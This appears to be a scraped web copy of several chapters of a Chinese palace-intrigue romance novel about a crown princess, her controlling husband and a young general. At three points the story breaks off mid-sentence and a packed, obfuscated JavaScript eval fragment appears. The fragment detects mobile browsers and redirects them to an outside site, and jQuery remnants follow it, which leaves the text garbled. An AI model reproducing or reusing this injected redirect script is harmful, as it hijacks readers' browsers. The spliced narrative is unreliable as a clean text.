宣神娩抬眸,似是回想起什么,语气放柔几分:“在你七岁那年,将你大伯最心爱的茶壶摔坏,霍二夫人要你罚跪祠堂。谁知,你半夜偷偷溜出来,还被地上的尖石伤了腿。吾当时后山练剑,发现你,误以为是贼人。差点将你刺伤。” 当时,霍羽宴虽然只受了一些皮外伤,疼得直哭鼻子。宣神娩为哄他,背着他去看开在崖底的红萤草。 此时,霍羽宴恰好站至她身后,犹如幼时,在她背上时的视角。命运在这一刻,迎来回旋箭。 宣神娩后退一步,无意撞上霍羽宴的胸膛。属于他特有的清冽气息袭来,将她包裹。他揽着她的薄肩将她抚稳,关切道:“娘娘,当心摔倒。” 与他再次肌肤相触,宣神娩心上一惊,顿时有些无措。她垂眸将无措掩住,定定心神,与他拉开距离。 霍羽宴又补上一句:“听传闻太子殿下对娘娘倍加呵护,极致恩宠,为何娘娘如今身子荏弱,与从前截然不同?”他的言外之意,是这些年,郁榷是否并未善待她?在霍羽宴的记忆里,她应该是当年那个叱咤军营的女将军。而不是豢养在太子身侧的弱妾。 “有些事情,不是你该关心的。”宣神娩不愿多说。她认为,霍羽宴说这些,不过是在讽刺她。 毕竟在霍羽宴严重,当年霍氏长房遭难,她身为养女,立即与霍氏撇清关系,甚至为了保命,嫁给郁榷。宣宸霜嫁给帝君,尚且为保宣氏全族性命,但她呢? “上次,你托我的事情,我不能答应。但,给你这个。”宣神娩从袖中掏出一本三寸大小的书册。 “此物为吾亲笔所画,是天问阵的精髓所在,你按照书册的内容,先行尝试训练。若有不懂,再借机会与吾讨教。” 霍羽宴翻看起册子,眼底溢出微笑。画册上的图案画工精湛,线条流畅,只不过文字部分,稍稍潦草。 “这些年过去,娘娘的字体一点未变。”霍羽宴笑得戏谑,带着薄茧的长指摩挲过那些字迹,“虽是潦草,足见娘娘内心是位恣意热血之人。” “你错了。”宣神娩忽而一笑。此笑落入霍羽宴眼中,惊起波澜。“吾最是凉薄。你的事,这是吾第一次帮,也是最后一次。” “有人来了。”霍羽宴神情一凝,他拉着宣神娩朝身后的书架躲去。 “殿下。镜湖山庄那边已安排妥当。此次生辰宴,办在宫外,殿下一定注意自身安危。” “有沈尚书在,本宫自当放心。” 宣神娩秀眉一挑,用气声道:“是太子,这里不够安全。”霍羽宴意会,立即挽着宣神娩的手腕,朝深处走去。 书阁南北角有几座闲置的书柜,还算隐秘。霍羽宴打开柜门,陈旧的檀木香,混杂着灰尘味涌入鼻尖。柜壁蒙尘,他先入其内,才一把拉过宣神娩。 空间狭隘,宣神娩几乎是嵌在他怀中。 霍羽宴一手拉着柜门,一手撑着柜壁。她若是稍稍抬头,便能碰到他的下巴。 宣神娩抬眸,对上他的眼。 霍羽宴在她耳畔沉吟:“娘娘,没有想到,我们还能有共患难的机会。” 宣神娩似乎能透过那双闪着微茫的红瞳,看清他内心燃起的炙烫火焰。或许是两人□□距离的靠近,让她懒得再去与他弯弯绕绕。 “你接近我,究竟有什么目的?只是为了天问阵?” 霍羽宴微微低头,下巴尖磕在她额上。“我自幼便喜欢黏着娩娩阿姊。长大,也一样。” 宣神娩听着话,只觉得对方在开玩笑,不愿与她袒露心扉。 她扶着发簪:“帮吾把头上的凤钗摘掉。以免会有响动。” 霍羽宴将她头上那支凤钗一摘,发丝顷刻间垂落。披发削弱她几分气势,眉间一粒朱砂血红,衬她美似妖物般。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309692|152322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 霍羽宴喉结微动,一时失语。他一点都不加掩饰,道:“阿姊,好美。” 宣神娩却用双指轻掩了一下他的唇,要他噤声。 顷刻,霍羽宴身体凝滞,唇片尚存她指腹的柔软,让他的神情有些不自然的恍惚。 “幼女无知,还请太子殿下赎罪。”沈尚书的声音渐渐逼近。 郁榷平静回应:“早点交出此物,你的女儿不至于残了。” “没死就好,没死就好......殿下仁厚!殿下仁厚!”沈太傅使劲儿抹去眼泪,一双老眼哭得通红。得知沈馥灵的消息,让他存有一种劫后余生的轻松。 宣神娩脸色冷了又冷。沈馥灵纵然可恨,她日后难保也是那样的下场。沈馥灵对于郁榷,不过是他牵制沈尚书的棋子,她尚且一样。 沈尚书道:“有此物,当年霍氏长房疑似谋逆一案的罪名,便坐实了。殿下打算何时呈给帝君?” 郁榷手指滑过那些书籍,微笑道:“光凭此物恐怕不行,帝君尚在纠结关于霍氏的决断,沈尚书还是莫要心急。” 霍氏长房谋逆一案,至今未下定论。这位沈尚书是要彻底让他们背负着污名,含恨九泉。霍凝光,他已经死了,但上位者,依然想着如何赶尽杀绝。 沈尚书是郁榷麾下,难道,这也是郁榷的意思? 宣神娩几乎是在瞬间红了眼眶,郁榷这些年对于霍氏叛国一案一直处于中立,并承诺她会还霍氏一个公正。当年,郁榷曾为霍氏求情,此时,她实在有些看不清这个枕边人的真实目的。 霍羽宴同样换了副表情。剑眉一拧,戾气乍现。 宣神娩的头皮开始发麻,眉心揪在一起,神情痛苦。 霍羽宴一下又一下轻抚着她的后背。 霍羽宴知道他已越距,但他只想将眼前泛起褶皱的春水一点点抚平。霍羽宴将她埋进臂弯,他盯着柜缝一脸警惕。 宣神娩抖着唇瓣,用口型道:“药。”神思错乱间,她指了指从脖颈间的挂坠。 人人都以为这是疯疾,实际,是一种蛊毒。蛊毒发作,痛若万蚁噬心,出现幻觉,亦或是情绪失控,都是尝试。 挂坠是一只紫玉小葫芦,霍羽宴仔细查看,发觉葫芦中心镶嵌的金色莲花,实则是一个小机关,轻轻一旋,米粒大的丹药从内掉出。 他将丹药塞入宣神娩口中,宣神娩咬过丹药时,一口咬上他的手指。 是身体的本能,从前,郁榷喂她血时,她若是克制不住体内的蛊毒,根本不管不顾,时常不等他放血,便用利齿咬破他的皮肉。 霍羽宴淡淡皱起眉心,眼中皆是心疼。他任凭宣神娩咬着他的手指,发泄痛意。甚至替她缕过耳边垂乱的碎发,拭去额角细密的汗珠。 沈尚书道:“关于太子妃为二嫁妇的传闻,凡传播者已被关押刑部大牢。” 郁榷笑得温雅,略带一丝玩味:“本宫与太子妃自幼相识,怎不知她嫁过人?” 沈尚书早已大汗淋漓,频频点头。 郁榷拿起一本古乐籍,翻看起来。 郁榷抬首,即便迎着浅金色夕照,他依旧淡漠的像一樽神像:“这世上什么猫狗,都想来凑一脚。查出谣言散播的来源,否则,你的女儿,恐怕没机会见到你这个心系她的好父亲了。”他音色平淡温润,如细雨,落在耳里,又蓦然变成冷刃,杀人个措手不及。 沈尚书在太子身边做事已有一段时间,自然理会太子的意思。他拱手相道:“太子殿下对太子妃娘娘,当真情深意重。” “找到了。”郁榷微微一笑,他轻轻吹去那本书籍封面上的灰尘。 “画集?”沈尚书扫过几眼,原是本草木类的画集。“殿下,这本画集有何玄妙之处?” “幼时,有人教吾画过上面的莲花。”郁榷扶一扶悬在鼻梁上的水晶棱片,举手投足间,散发着一股淡淡的书卷气。 沈尚书抬眸,偷偷打量太子殿下。他正在翻书,面容清隽,举止如兰草一般清雅。他向来猜不透这位,在了解他的手段之后,由敬畏彻底变为畏惧。 吃过丹药的宣神娩,体内的蛊毒得到控制。 霍羽宴仔细凝视着她,眼眶泛起薄红,若山雨浸透过般透彻。他抬手,动作自然地含去指腹上浮留的血迹。尖齿留下的印记,像是小猫打闹后留下的罪证,反倒让他露出一抹轻笑。 宣神娩十分心虚,不再去迎他的视线。 她透过缝隙,撇见到郁榷经过时,白衫上繁复的银白莲花纹路。她此时与一个外臣在狭小的书柜之中紧密相挨,无法想象这一切若是被郁榷发现,他会如何癫狂。 大抵要杀了她。 沈尚书言:“听闻太子妃娘娘今日也在皇后宫中。” 郁榷淡淡道:“嗯。本宫待会亲自去接她。” 沈尚书不知是否故意提起,紧接着又言:“霍小将军也来过。” 郁榷沉默片刻,镜片之下的灰眸,结起冰絮:“容他自由一些。不让他过那云端,又怎知跌落到粉身碎骨有多痛?” 两人交谈就此结束,郁榷找到所求书籍以后,便带着沈尚书离开。 待二人走后,霍羽宴将宣神娩从柜中抱出。 宣神娩发如丝缎披在腰间,脸颊因为密闭空间待久了,泛着一层红晕。她抚去身上那些褶皱,端起姿态,幽幽道:“今日过后,你我不要再单独见面。” 霍羽宴活动活动筋骨,神色如常,仿佛方才的一切从未发生。 他撇开她的话题,嗅嗅自己的袖袍,问道:“阿姊,你最近睡不好么?” “嗯。”宣神娩面露疑惑。 “你记不记得,臣幼时极爱梦魇,你用药草为臣调配了一枚香包,臣夜时放在枕边,亦可安眠。此时,你身上便是那个味道。”这么一说,他方才嗅衣袍的动作变得有些暧昧。 5. 红莲 从凤栖宫回东宫的路上,郁榷一言不发。把玩着一柄青色玉竹小扇,眼神时不时撇过宣神娩,缓缓一笑。看似风轻云淡,实则反常。 坐马车时,郁榷习惯靠在她的肩头,亦或是伏在她的双腿上休息。而不是像现在这般,气氛寂静到让宣神娩感到窒息。 回到东宫,郁榷命人摆好一桌膳食。 待入座,郁榷终于对她开口说话:“你走时还簪着本宫送你的凤钗,为何又换上此等廉价的珠钗。”郁榷的话,如同在用一把还未开刃的小刀,一下又一下划过她的心脏。 宣神娩扶一扶头上新簪的珠钗,淡定解释:“母后新赏,妾为不驳母后美意,当下便差使青绥为妾换上。” 若不是郁榷提醒,她才想起,她的簪子还托付在霍羽宴那里,忘记取回。 郁榷没有接话,用玉骨小扇指了指桌上那些看似可口的饭菜。“都是你爱吃的。” “多谢殿□□恤。”宣神娩夹起一片浸着桂花酱的藕片,放入口中慢嚼起来。 她今日本没什么胃口,但为应付郁榷,她也要多吃几口。 “别光吃菜,尝尝这一壶白莲醉,本宫亲手所酿。”郁榷明明知道她不善酒,依然为她亲自斟上一盏所谓的白莲醉。 宣神娩捻起紫玉盏,放置唇边一抿。白莲醉入口清甜,但流进胃里,灼烧感顿时蔓延开来。 此酒前后口感差别之大,让宣神娩猝不及防。她捂着发烫的胸口,猛咳几声。 霎时,细密的红疹沿着她瘦削的锁骨向上蔓延,不知不觉,攀满大半张脸。 这杯白莲醉,是郁榷对她的警告。 郁榷拿着玉竹小扇,挑起宣神娩的下巴。“是不是爱妻觉得东宫寂寞,夫君无趣,尽往母后宫里跑。” 宣神娩嗓音已被酒水灼伤的沙哑:“皇后娘娘今日有疾,妾善医术,想为她解难分忧罢了。” “那本宫今日受伤,你可有关心?”郁榷一边捏开宣神娩的口,一边捻起他手边沉甸甸的酒盏,直往她口中灌。 宣神娩想,她与他七日未见。他若不说,她怎知他有伤? 她被酒水呛到,猛咳几声,酒水顺着唇瓣,自脖颈流下,润湿胸襟。 郁榷注视她的目光宛若一柄布满寒霜的刃。他朝宣神娩口中继续灌入白莲醉,一盏又一盏,直到宣神娩一丁点都喝不进。 她的喉咙被酒烫肿,说不出话来,眼泪含在眼眶,倔着不肯流出。 郁榷事不关己,温吞一笑:“这白莲醉,枝枝可还喜欢?” 被他松开喉咙的宣神娩劫后残喘,快要溺死在这一壶白莲醉中。 郁榷将宣神娩横抱在怀里,朝榻上去。 “你不想看看本宫哪里受伤了么?” 郁榷解开腰带,褪去外袍,侧拉里衣。裸露的右肩上,一道长而深的伤口,“面目可憎”的出现在宣神娩眼前。 伤口没有进行包扎,未全然愈合,还在往出渗血。宣神娩用指腹轻触,郁榷深呼吸一口,隔着镜片,眼神晦涩,压制着某些涌动的暗流。 他摘下镜框,漆黑的瞳仁失去镜片模糊的遮掩,犹如切割出锋面的宝石,折射出利光。 “阿娩,昨日本宫遭遇刺客,这几日,你都不许再离开东宫。很危险,知道吗?你是本宫最重要的棋子,决不可出现差错。” 明明昨日的伤,偏偏拖到今日都不肯包扎。 最重要的......棋子。听到这番附加的称谓,宣神娩忽而俯首,冷冷发笑,几根长长的发丝垂落于鬓边,宛若被抽取精魄的妖孽。 “阿娩,你莫怪本宫。若你有事,本宫会疯。”郁榷大抵是遐想到什么,他将宣神娩揽进怀里。紧紧揽着,紧到两人的骨血都快要融在一起。 经过方才那一番烈酒的刺激,宣神娩体内的蛊毒又开始发作。郁榷肩上的伤口,散发出甜腻的血腥味,引诱着她露出最失控的一面。 宣神娩靠在他肩头,贪婪着,一点一点舔舐尽那些伤口处渗透的血液。碧绿瞳仁散发着异彩,长长的眼睫坠着几滴晶莹泪珠,无辜又诡媚。 郁榷用指节撩去那些泪珠,宣神娩却忽而发狠,朝那伤口一口咬上去。 霎时,郁榷浑身冒出一层冷汗。他长嘶一声,唇角却挂上一抹阴恻恻的微笑。 宣神娩这一口,带着报复的恨意。郁榷让她多多苟活七年,却也深深磋磨她七年。身为他最重要的棋子,她输得一败涂地。 郁榷一下又一下,轻抚她额头。直到宣神娩松开牙齿,她身上狂乱已去,被重新“注入血液”。 郁榷用指腹捻去她唇角余留的殷红,将她揽进自己怀里。“阿娩。你可曾记得,你幼时曾教本宫画莲?” 十三岁的郁榷,作为质子,被霍家军从琉国救回。他性格孤僻,不愿与人亲近,甚至不肯与人开口说话。 宣神娩见他在敌国受尽苦难,心生怜意,便在想尽办法与他套近乎。 “听闻太子殿下小字莲华,我写字不好看,画画还行。” 十五岁的少女眉眼灵秀,一身红衣,马尾高高束起,坠着银白流苏。她手里抓着一块朱砂石,在地上的瓷砖画出一朵莲花。 她夸赞道:“莲华... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309693|152322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...殿下的小字真好听。” 郁榷从来不觉得自己的小字好听。莲华,莲华……一池莲华。他的母亲出生卑微,出生时,殿外一池红莲尽数盛开,国师预言,此为国难大凶之兆。从此,他与母亲被冷落在别院十余年。 这也成了他送往敌国做质子的最佳理由。 宣神娩指着瓷砖上的红莲:“在我的故乡,红莲是高贵之花,象征着坚毅果敢,你年纪轻轻便独身前往敌国,在我眼里,比黎国任何皇子都要优秀。” 郁榷睁大眼眸,有一瞬的不可置信。卑劣的质子,险些丧命于敌国。他永远记得,霍家军兵临敌国城下时,挂在城门上受辱的他本以为看到回家的希望,谁知父皇一指圣意千里传来:“城必留,爱子可殉。” 眼前的少女,赞扬他比黎国任何皇子都要优秀,是黎国的荣耀。他要当黎国的荣耀,而不是殉国的弃子。 宣神娩见样貌如画般的少年忽而掩面抽泣起来,顿时有些无措。 “你别哭,你别哭!”她从袖中掏出两颗梨糖,塞入郁榷掌心。“莲华乖,请你吃糖!” 郁榷望着掌心两枚琥珀色的梨糖,哭的更凶了。敌国三年,他不曾吃过糖。 他爱吃糖,但母妃总不让他多吃糖,他便把糖偷偷藏在树底。 一别黎国,他再也没有尝过甜。 郁榷擦干眼泪,把掌心的梨糖包好,塞在袖中。他道一句:“谢谢。”他要将梨糖带回黎国,分给母妃一起吃。 谁知回到黎国,母妃早已过世三年。他的梨糖融成一滩烂泥,埋葬在小小的衣冠冢旁。 “阿娩,让我为你画一朵红莲。”郁榷命宣神娩趴下,他挽起她腰间的衣物。 宣神娩如同傀儡一般,任郁榷摆布。郁榷的笔触似针扎,在她腰窝细细密密地落下画痕。 直到一朵血红精湛的莲花绽于她的腰窝。 郁榷侧压上来,在她耳畔沉吟:“本宫往这颜料之中加了些蛊虫,可三月不褪......阿娩。本宫的蛊术,还是你教的。” 艳艳红烛之下,披散着一头墨发的郁榷,像是坠落魔道的仙师。他睥睨着身下灼灼绽放的红莲,缓缓低头,轻吻上去。 他温和的警告:“枝枝,你总是记吃不记打。” 宣神娩背上的红莲像是一簇火焰,灼烧着绽放。 郁榷指腹勾勒一遍红莲,蛊虫作祟,宣神娩濒临失控的模样,让他愈发满意自己的杰作。 郁榷把她留在身边,总觉得还不够,他需要一遍一遍为她打上自己的烙印:“你是我的棋子,你只能我的。” 6. 上钩 东宫禁足三日后,宣神娩被遣送至镜湖山庄。 郁榷将生日宴选址由东宫迁移至镜湖山庄。 她了解他。在遇刺过的情况下,郁榷明明在宫中过生辰最为安全,偏偏选在远离宫门之外,鱼龙混杂的江湖地盘,不过是将自己置于绝地,引蛇出洞罢了。 郁榷知道宣神娩不习惯住在大殿,将她安排于山阶最高处的紫竹别院,安静自在,远离尘嚣。 镜湖山庄上下为太子生辰忙碌筹备,宣神娩则每日闲着,不是小睡,便是垂钓。 因为是棋子,所以只需要当好一颗省心的棋子。 被派遣到紫竹别院的小婢女们纷纷私语。 “太子妃娘娘当真好福气,殿下不给娘娘一点儿操劳的机会。” “太子殿下用情专一至深,婚后七年,才纳入一位侧妃。” “听闻太子殿下特意为这位侧妃修立府邸,风头似乎盖过了咱们娘娘……只可惜,沈侧妃娘娘命不如太子妃娘娘好,近来生了重病,怕是命不久矣。” 一道凌厉女声当头响起,吓得两位小婢女浑身一哆嗦。 ——“到底是看门的狗,天真至极。你们娘娘不过是给本公主那五弟弟下了蛊,迷了他的心智。” 两个小婢女闻声看去,如临大敌,僵直在原地。 “二公主......”她们垂下头颅,慌忙行礼。 二公主郁芙不知何时,踏足于这山尖别院的门前。一副神情倨傲,气场颇高的模样,俨然摆明四字:“来者不善”。 她提起一身繁复重工的金绿衣裙,不容两位看门的小婢女禀告,步伐急促地朝门内走去。 郁芙本是美的,小家碧玉、灵动可人的长相,只可惜,脸上有一道横穿于鼻梁至耳后的疤痕,加上她愠怒的表情,此时显得狰狞扭曲。 青绿的池边,支着一柄杏色大伞蓬。伞蓬之下,宣神娩半趟在藤椅上,一手握杆垂钓,一手捻着花茶,递到嘴边小呷一口,实在悠闲,与气势汹汹的郁芙形成鲜明对比。 待宣神娩看清来人,懒懒道句:“二公主,恕吾身体抱恙,不能起身迎接。” 她今日没有着妆,白皙的肌肤透着一层自然的淡粉,怎么看都不像抱恙之人。 郁芙的嘴角微微抽搐,眸中的不屑逐渐转化为震怒:“宣神娩,你嫁给吾弟多年,倒是惯出你一身臭毛病。太子妃当久了,真当自己是只凤凰。全庄上下都在筹备生辰宴,你在此处消停,可配为人妻?” 宣神娩仔细盯着鱼漂,事不关己道:“殿下不肯吾劳累,吾便不给殿下添乱。公主若觉得宴会筹备不当,大可亲自去找殿下反馈。” 郁芙强压着怒火,又道:“宣神娩,本公主来这里多久了。你连茶都不曾奉上?” 宣神娩摆摆手:“青绥,看茶。” 二公主接过青绥递来的茶盏,冷笑声:“你让本公主站着喝茶?” 宣神娩浅浅皱眉:“二公主,若是无事,还请离开。”她用团扇遮蔽住半边,索性眼不见心不烦,俨然连应付都不愿再应付。 身为一个棋子,她没有必要与不相干人等费头脑。 二公主见宣神娩如此态度,愈发生气。她先是轻尝一口青绥递来的凉茶,随即摔落在地:“竟用如此劣质的茶来招待本宫,本宫出生是天潢贵胄,你算什么东西?” 她怎容自己被宣神娩轻视,几步冲到宣神娩身侧。将她脸侧遮光的团扇扯开,眼看那张绝色脸蛋儿正静静望着她,比无风的湖面还要毫无波澜。 “太子妃又如何。你怕是不记得五弟弟在本宫身侧俯首当狗的日子。”二公主知道宣神娩的底气从何而来,不就是郁榷。 郁榷在做太子前,只是一个不受宠的五皇子,被她踩在脚下多年。她认为,即便他一朝翻身做上储君之位,骨子里依旧是流着卑贱的血液。 她的母亲,是当今圣上最宠爱的贵妃。她的幼弟,年岁尚小,并不代表没有即位的资格。 “若是我的哥哥还活着,哪里轮得道他来当这个太子!”她不敢亲自在郁榷面前讨伐,只能隔三岔五来冲宣神娩撒气。 二公主的胞兄离王,曾是郁烛最宠爱的皇子。八年前,离王叛变,被郁榷勤王救驾,朱雀门前一剑封喉。 “当初,是你与五弟弟里应外合,诬陷本宫哥哥叛变,害哥哥惨死于朱雀门前,再不能自证清白!”当年宫城大乱,离王掳走宣宸霜,以此要挟宣氏,来获得宣氏的兵力支持。不曾他想,他掳走的并非宣宸霜,而是假扮她的宣神娩。 郁芙对宣神娩的恨意,随着年岁,只增不减。她看她风光,她亦难受。若是离王还活着,必定会成为储君,她与她的母亲,便是黎国最尊贵的女子。 二公主冷冷一笑:“霍娩,旁人不知道你是谁。本宫可知道,你不过是个吃里扒外的东西,霍氏养你多年,一出事,你便拍拍屁股,无事人般从霍家离开,摇身一变,成了太子妃。话本都不敢这样写,霍娩,你当真是什么事都做的出来。沈家妹妹为何没来镜湖山庄?定是你善妒,容不得她,给她下毒,害她染上重病!” 宣神娩幽幽盯着湖面,神情漠然:“是我下的毒。”随即,她轻笑声:“吾这般狠毒,公主还敢喝这里的茶,当真好胆识。” 郁芙捏住喉咙,哽咽片刻,红眼嘶吼道:“五弟弟居然纵容你这二嫁妇杀人!这天下,还有没有王法了!我可怜的沈妹妹啊,她只是说了事实,便被你下毒残害......你还有什么是不敢做的?” “所以,是二公主告诉刘氏姊妹,吾是二嫁妇的谣言?”宣神娩本是随意试探,没想到试探出背后的始作俑者。外界根本无人知道沈馥灵是因为指认她是霍氏养女才被郁榷严惩。 “是本公主又如何?”二公主总觉得自己气势不够,跳上一侧的矮石凳,用手指着宣神娩道:“若不是你凭借着这幅色相,凝光哥哥,还有我哥哥......怎会一个接着一个被你克死!” 二公主总是喜欢把离王的死算在宣神娩头上。 霍氏旧事。了解的,知情的,大多都死绝了。活着的,忌惮郁榷,无人敢说。二公主知道他那五弟弟是疯的,她不敢宣神娩当初为霍氏养女的事情,便挑唆刘氏姊妹,去拿她与霍凝光曾有婚约的事情做文章。 这样的做法,宛若隔着衣物,用刀背划道两下,杀伤力不强,却也是恶心人的。 宣神娩眉心淡淡皱起,她不再理会“自告奋勇”讲出实情的二公主。将目光聚焦于上下漂浮的鱼鳔,随即,果断利落的收杆。 “鱼儿上钩了!”青绥与一众小丫鬟在旁边拍手叫好。 一条大白鲤在飞天旋起的鱼钩上扑腾着。公主先是讶于那一双皓雪玉臂所散发的惊人力量,过会儿又在心中恍然,霍娩,从军时曾一人单挑敌军百十号人,挑动鱼竿又算得了什么。 不过如今她也只能挑动鱼竿。她可是亲眼见过太子妃被封经绝脉,一身接近宗师级别的武力全费。 二公主失神中,鱼钩上挣扎的鱼儿扑腾到她怀里。她怀抱着滑腻乱动的白鲤,一时手忙脚乱起来。小婢女们扑上来抓鱼,反倒让她愈发失措。 须臾,惊慌躁动的二公主一脚后跟栽进池中,溅起青绿色的水花。 池水不深,仅到郁芙半腰。她扒去脸上挂着的碧绿水草,哭嚎道:“宣神娩!我要告诉皇祖母......你害我!当年,能让你成为废人,如今,只要我再努努力,使些手段,依然能让你活得再苦一些!” 宣神娩望着手腕至肘心间,那道封经术留下的骇人红线,已经想不起当年,在太后寝宫,帝君、太子,夙德太后,郁芙围观之下,被南府高手使用秘术,封绝经脉时的痛楚。 这里少不了郁芙的算计。 只是留下太子身边,需要付出一些代价。 宣神娩眼中泛出冷幽的光泽:“吾也不介意,你多在水里泡会。” 待郁芙哭闹一通,吵着要向夙德太后告状。待她浑身湿哒哒地离开紫竹别院,她的耳根总算清净。 谁知,送走一位难伺候的公主,又来一位意图不明的少年将军。 “枝枝阿姊,今晚可要煲鱼汤?”霍羽晏半蹲于朱红色的琉璃瓦片上,嘴边衔着一枝竹叶。 宣神娩讶然,招手示意他从房梁上下来。 霍羽宴朝地面一跃,身手似狼般敏捷,带着难训的野气。 “枝枝阿姊,好久不见。” 霍羽晏一身亮紫装扮,金制腰带扣紧他劲瘦的腰身,墨发束成高高的马尾,露出那样一张隽美年轻的脸庞。 或许是他浑身金饰,宣神娩总认为他十分扎眼。 少年很喜欢这些浮华之物。偏偏又将这些浮华之物佩戴得融洽,有种天然自成的贵气。 宣神娩心中闪过一丝不安:“你来此处作何?这里到处都是郁榷的耳目。”她能应付得了二公主这样的麻烦,但每当面对霍羽宴,她总觉得情况不可控起来。 霍羽宴走近宣神娩,与她一同站立于大伞的庇阴下。他气定神闲道:“东宫是太子殿下的地盘,可镜湖山庄,密道几条,密室几座,我却比太子殿下要清楚。” “噢?难不成镜湖山庄是霍氏的地盘?”宣神娩在一侧的小竹凳上落座,拿起团扇,驱逐起周遭的热气。 “怎会。”霍羽宴半躺于宣神娩方才趟过的藤椅上,顺手拈起一块果盘中的冰,含在口中。“霍氏可不敢来沾边,普天之下,世间万物,都归帝君执掌。” 宣神娩认为霍羽宴这话答得冷漠两可,可以自由出入她的紫竹别院,镜湖山庄定然有他的布控。 建设在帝都明面上的江湖势力共有三股。一为太子殿下麾下的折枝阁。二为沐阳长公主下的疏星书院。还有一股,则是圣上钦掌的朝天阙。 镜湖山庄是近年通过贩卖器盒而声名鹊起。器盒,是镜湖山庄近年来推出的一种货品。每月一拍卖,根据器盒的颜色来确定品级。买者甚至不知道内有何物,可至今,镜湖山庄器盒内的物品还从未让人失望过。 关于镜湖山庄的背后东家,朝堂之下的猜测一直存在,却从未有过定论。郁榷将生日宴办在此处,大多数人都认镜湖山庄效力于太子麾下,并认为,此次生辰宴,是太子殿下借此来宣招幕僚。 霍羽宴见宣神娩盯着湖面,不知在思索什么。他出声道:“想枝枝阿姊,便来看阿姊,阿姊别不理我。” 他凑过头去,耳侧垂挂着一只用红绳穿过的铜钱耳饰,日光下轻微晃动,衬得他脸庞艳丽动人。 “枝枝阿姊,太子殿下今日前往沐阳亲迎接长公主回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309694|152322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤川郡。即便他的耳目发现,从沐阳赶回鹤川郡,也抓不到我们现行。” 宣神娩神情一顿,霍羽宴的话听起实在奇怪。什么叫“抓不到我们现行。” “我来找阿姐,是有正事!”霍羽宴轻眯眉目,眼尾扬起一丝轻佻。他吹响口哨,一声鹰隼响于天际。 一只雪蓝相间的鹰隼自南北方向飞来,坐落鹰于霍羽宴撑起的手背上,口中叼着一只精美盒匣。 “阿姊应该听过镜湖山庄的紫金器盒。” 器盒通过外观来决定盒内宝物的品级。黛蓝为最次,再往上,便是琥珀,绛红,紫金。霍羽宴手上的器盒,由紫金色玄铁所制,上面精雕着的花纹繁复,神秘异常。 霍羽宴轻松将那几十斤的器盒端在掌心,他言:“阿姊,这是镜湖山庄本月的拍品。” 宣神娩并不好奇,她道:“吾没有闲心去买这些东西。” “本月的器盒不接受拍卖。”霍羽宴按下器盒特殊的开关。器盒打开的一瞬,宣神娩眼前闪过道刺眼的白光。 她的视线蓦然亮起,一种比月色还要柔净的光泽映刻在她青山色的眸中。 那紫金器匣之内,一柄纤细长剑安静躺在红绸上。剑通体银白,雕着繁复星纹,一枚紫色宝石嵌于匕柄,质色透润,不像是人间的产物,像是一朵裹挟着霞光的紫色仙云。 宣神娩音色微颤:“欲雪剑......为何在你这儿。” 这是曾陪伴她十余年的佩剑,霍府被封后,她再也没有见过它。 霍羽宴横握欲雪,剑身一偏,锋芒灿若白莲,照亮他鹰隼一般凌厉的眉眼。 霍羽宴将剑递来,宣神娩神情复杂,沉默良久,始终没有伸手去接。她深吸口气:“吾早已说过,旧人旧物,莫要再提。” “当年娘娘便是用这剑,潜入敌营,取下贼寇的项上人头......娘娘一身武艺,我自幼膜拜。” 恰逢一阵疾风而过,吹散一树梨花,似纯白的雪,纷纷落下。宣神娩摊开手掌,接住一朵惨淡的小花。“一身武艺?”她捏碎那花。“我现在比普通人的体力还要差一些。” 入东宫前,郁榷喂她喝下一盏蛊药。自此内力全失,若要强运功法,便会血脉逆流,染神乱志,肺腑惧碎而亡。 那盏蛊药与封经术,是她嫁给皇室的入场券。帝君不会容忍一个高武阶的异族女子留在太子身边,这是帝君对郁榷妥协的结果。 那夜她如惨败的花,凋零于殿内,绛红罗裙染着血污。霍氏养女,夷族血脉,每一样都足够让帝君将她置于地狱。郁榷抱着她,心疼地留下眼泪:“枝枝,以后我来护你。” 霍羽宴朝前一步,忽而与她并肩而立。“人们以为将蝴蝶的翅膀折断,便能让它乖乖静守牢笼。可不曾想,那鸟儿冲破血肉,也想要长出翅膀。” “枝枝阿姊,这是我时隔多年,送给你的见面礼。”霍羽宴将欲雪刀放置在桌案上。他的音色继续抬高:“郁榷还有三日回京。你想不想趁此见见,那些旧人,旧物?” 听完此话,宣神娩浑身凝滞。 旧人,她不配见。 宣神娩的神情冷若冬雪:“你的目的,是想让霍家人重新审判吾一次么?” 霍羽宴红眸忽而含光,语气异常坚定:“阿姊,你走的路不允许你回头。那些旧人旧物,封尘在你回忆里,也能站在将来的路上,做你的刃。” 